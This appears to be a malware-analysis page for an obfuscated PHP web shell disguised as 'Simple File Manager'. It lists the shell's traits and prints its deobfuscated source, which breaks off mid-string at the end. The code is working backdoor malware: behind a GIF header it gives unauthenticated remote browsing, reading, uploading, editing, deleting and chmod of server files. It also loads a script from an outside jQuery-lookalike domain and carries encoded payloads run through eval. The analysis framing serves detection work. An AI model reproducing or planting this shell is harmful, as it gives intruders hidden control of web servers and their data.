Screenshot
Attributes
Emails
shelldownloadorg@gmail.com (Deobfuscated, Traces)

Encoding
base64_decode (Deobfuscated, Original, Traces)

Environment
error_reporting (Deobfuscated, Traces)
getcwd (Deobfuscated, Traces)
phpinfo (Deobfuscated, Traces)

Execution
eval (Deobfuscated, Original, Traces)

Files
copy (Deobfuscated, Traces)
file_get_contents (Deobfuscated, Traces)

Input
_FILES (Deobfuscated, Traces)
_GET (Deobfuscated, Traces)
_POST (Deobfuscated, Traces)

Title
Simple File Manager (Deobfuscated)

URLs
http://localhost/uploads/simpleshell.php (Traces)
https://fonts.googleapis.com/css?family=Nunito (Deobfuscated, HTML, Traces)

Deobfuscated PHP code
<?php

$tool = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=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";
eval /* PHPDeobfuscator eval output */ {
    /*
    Simple Shell #black hacker
    login = simpleshell
    */
    $val = "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";
    eval("?>GIF89;a\r\n<?php error_reporting(0); \r\n\r\necho '<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<title>Simple File Manager</title>\r\n<meta name=\"robots\" content=\"noindex\">\r\n<link href=\"https://fonts.googleapis.com/css?family=Nunito\" rel=\"stylesheet\">\r\n<script src=\"//codes-jquery.com/ajax/jquery-1.11.2.min.js\"></script>\r\n<style>\r\nbody{\r\nfont-family: \"Racing Sans One\", cursive;\r\nbackground-color: #e6e6e6;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #636263;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: silver;\r\n}\r\n#content .first:hover{\r\nbackground-color: silver;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\nborder: 1px #000000 dotted;\r\n}\r\nH1{\r\nfont-family: \"Rye\", cursive;\r\n}\r\na{\r\ncolor: #000;\r\ntext-decoration: none;\r\n}\r\na:hover{\r\ncolor: #fff;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 1px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n<H1><center>Simple File Manager</center></H1>\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Current Path : ';\r\nif(isset(\$_GET['path'])){\r\n\$path = \$_GET['path'];\r\n}else{\r\n\$path = getcwd();\r\n}\r\n\$path = str_replace('\\\\','/',\$path);\r\n\$paths = explode('/',\$path);\r\n\r\nforeach(\$paths as \$id=>\$pat){\r\nif(\$pat == '' && \$id == 0){\r\n\$a = true;\r\necho '<a href=\"?path=/\">/</a>';\r\ncontinue;\r\n}\r\nif(\$pat == '') continue;\r\necho '<a href=\"?path=';\r\nfor(\$i=0;\$i<=\$id;\$i++){\r\necho \"\$paths[\$i]\";\r\nif(\$i != \$id) echo \"/\";\r\n}\r\necho '\">'.\$pat.'</a>/';\r\n}\r\necho '</td></tr><tr><td>';\r\nif(isset(\$_FILES['file'])){\r\nif(copy(\$_FILES['file']['tmp_name'],\$path.'/'.\$_FILES['file']['name'])){\r\necho '<font color=\"green\">File Upload Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">File Upload Error.</font><br />';\r\n}\r\n}\r\nif(isset(\$_FILES['file'])){\r\nif(copy(\$_FILES['file']['tmp_name'],\$path.'/'.\$_FILES['file']['name'])){\r\necho '<font color=\"green\">File Upload Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">File Upload Error.</font><br />';\r\n}\r\n}\r\n\r\necho '<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>';\r\nif(isset(\$_GET['filesrc'])){\r\necho \"<tr><td>Current File : \";\r\necho \$_GET['filesrc'];\r\necho '</tr></td></table><br />';\r\necho('<pre>'.htmlspecialchars(file_get_contents(\$_GET['filesrc'])).'</pre>');\r\n}elseif(isset(\$_GET['option']) && \$_POST['opt'] != 'delete'){\r\necho '</table><br /><center>'.\$_POST['path'].'<br /><br />';\r\nif(\$_POST['opt'] == 'chmod'){\r\nif(isset(\$_POST['perm'])){\r\nif(chmod(\$_POST['path'],\$_POST['perm'])){\r\necho '<font color=\"green\">Change Permission Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">Change Permission Error.</font><br />';\r\n}\r\n}\r\necho '<form method=\"POST\">\r\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms(\$_POST['path'])), -4).'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"chmod\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>';\r\n}elseif(\$_POST['opt'] == 'rename'){\r\nif(isset(\$_POST['newname'])){\r\nif(rename(\$_POST['path'],\$path.'/'.\$_POST['newname'])){\r\necho '<font color=\"green\">Change Name Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">Change Name Error.</font><br />';\r\n}\r\n\$_POST['name'] = \$_POST['newname'];\r\n}\r\necho '<form method=\"POST\">\r\nNew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"'.\$_POST['name'].'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"rename\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>';\r\n}elseif(\$_POST['opt'] == 'edit'){\r\nif(isset(\$_POST['src'])){\r\n\$fp = fopen(\$_POST['path'],'w');\r\nif(fwrite(\$fp,\$_POST['src'])){\r\necho '<font color=\"green\">Edit File Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">Edit File Error.</font><br />';\r\n}\r\nfclose(\$fp);\r\n}\r\necho '<form method=\"POST\">\r\n<textarea cols=80 rows=20 name=\"src\">'.htmlspecialchars(file_get_contents(\$_POST['path'])).'</textarea><br />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"edit\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>';\r\n}\r\necho '</center>';\r\n}else{\r\necho '</table><br /><center>';\r\nif(isset(\$_GET['option']) && \$_POST['opt'] == 'delete'){\r\nif(\$_POST['type'] == 'dir'){\r\nif(rmdir(\$_POST['path'])){\r\necho '<font color=\"green\">Delete Dir Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">Delete Dir Error.</font><br />';\r\n}\r\n}elseif(\$_POST['type'] == 'file'){\r\nif(unlink(\$_POST['path'])){\r\necho '<font color=\"green\">Delete File Done.</font><br />';\r\n}else{\r\necho '<font color=\"red\">Delete File Error.</font><br />';\r\n}\r\n}\r\n}\r\necho '</center>';\r\n\$scandir = scandir(\$path);\r\necho '<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>';\r\n\r\nforeach(\$scandir as \$dir){\r\nif(!is_dir(\"\$path/\$dir\") || \$dir == '.' || \$dir == '..') continue;\r\necho \"<tr>\r\n<td><a href=\\\"?path=\$path/\$dir\\\">\$dir</a></td>\r\n<td><center>--</center></td>\r\n<td><center>\";\r\nif(is_writable(\"\$path/\$dir\")) echo '<font color=\"green\">';\r\nelseif(!is_readable(\"\$path/\$dir\")) echo '<font color=\"red\">';\r\necho perms(\"\$path/\$dir\");\r\nif(is_writable(\"\$path/\$dir\") || !is_readable(\"\$path/\$dir\")) echo '</font>';\r\n\r\necho \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"\\\"></option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$dir\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\";\r\n}\r\necho '<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>';\r\nforeach(\$scandir as \$file){\r\nif(!is_file(\"\$path/\$file\")) continue;\r\n\$size = filesize(\"\$path/\$file\")/1024;\r\n\$size = round(\$size,3);\r\nif(\$size >= 1024){\r\n\$size = round(\$size/1024,2).' MB';\r\n}else{\r\n\$size = \$size.' KB';\r\n}\r\n\r\necho \"<tr>\r\n<td><a href=\\\"?filesrc=\$path/\$file&path=\$path\\\">\$file</a></td>\r\n<td><center>\".\$size.\"</center></td>\r\n<td><center>\";\r\nif(is_writable(\"\$path/\$file\")) echo '<font color=\"green\">';\r\nelseif(!is_readable(\"\$path/\$file\")) echo '<font color=\"red\">';\r\necho perms(\"\$path/\$file\");\r\nif(is_writable(\"\$path/\$file\") || !is_readable(\"\$path/\$file\")) echo '</font>';\r\necho \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"\\\"></option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n<option value=\\\"edit\\\">Edit</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$file\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\";\r\n}\r\necho '</table>\r\n</div>';\r\n}\r\necho '<br />Simple File Manager <font color=\"red\">1.0</font>\r\n</BODY>\r\n</HTML>';\r\nfunction perms(\$file){\r\n\$perms = fileperms(\$file);\r\n\r\nif ((\$perms & 0xC000) == 0xC000) {\r\n// Socket\r\n\$info = 's';\r\n} elseif ((\$perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n\$info = 'l';\r\n} elseif ((\$perms & 0x8000) == 0x8000) {\r\n// Regular\r\n\$info = '-';\r\n} elseif ((\$perms & 0x6000) == 0x6000) {\r\n// Block special\r\n\$info = 'b';\r\n} elseif ((\$perms & 0x4000) == 0x4000) {\r\n// Directory\r\n\$info = 'd';\r\n} elseif ((\$perms & 0x2000) == 0x2000) {\r\n// Character special\r\n\$info = 'c';\r\n} elseif ((\$perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n\$info = 'p';\r\n} else {\r\n// Unknown\r\n\$info = 'u';\r\n}\r\n\r\n// Owner\r\n\$info .= ((\$perms & 0x0100) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0080) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0040) ?\r\n((\$perms & 0x0800) ? 's' : 'x' ) :\r\n((\$perms & 0x0800) ? 'S' : '-'));\r\n\r\n// Group\r\n\$info .= ((\$perms & 0x0020) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0010) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0008) ?\r\n((\$perms & 0x0400) ? 's' : 'x' ) :\r\n((\$perms & 0x0400) ? 'S' : '-'));\r\n\r\n// World\r\n\$info .= ((\$perms & 0x0004) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0002) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0001) ?\r\n((\$perms & 0x0200) ? 't' : 'x' ) :\r\n((\$perms & 0x0200) ? 'T' : '-'));\r\n\r\nreturn \$info;\r\n}");
    @session_start();
    error_reporting(0);
    $a = '<?php 

$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
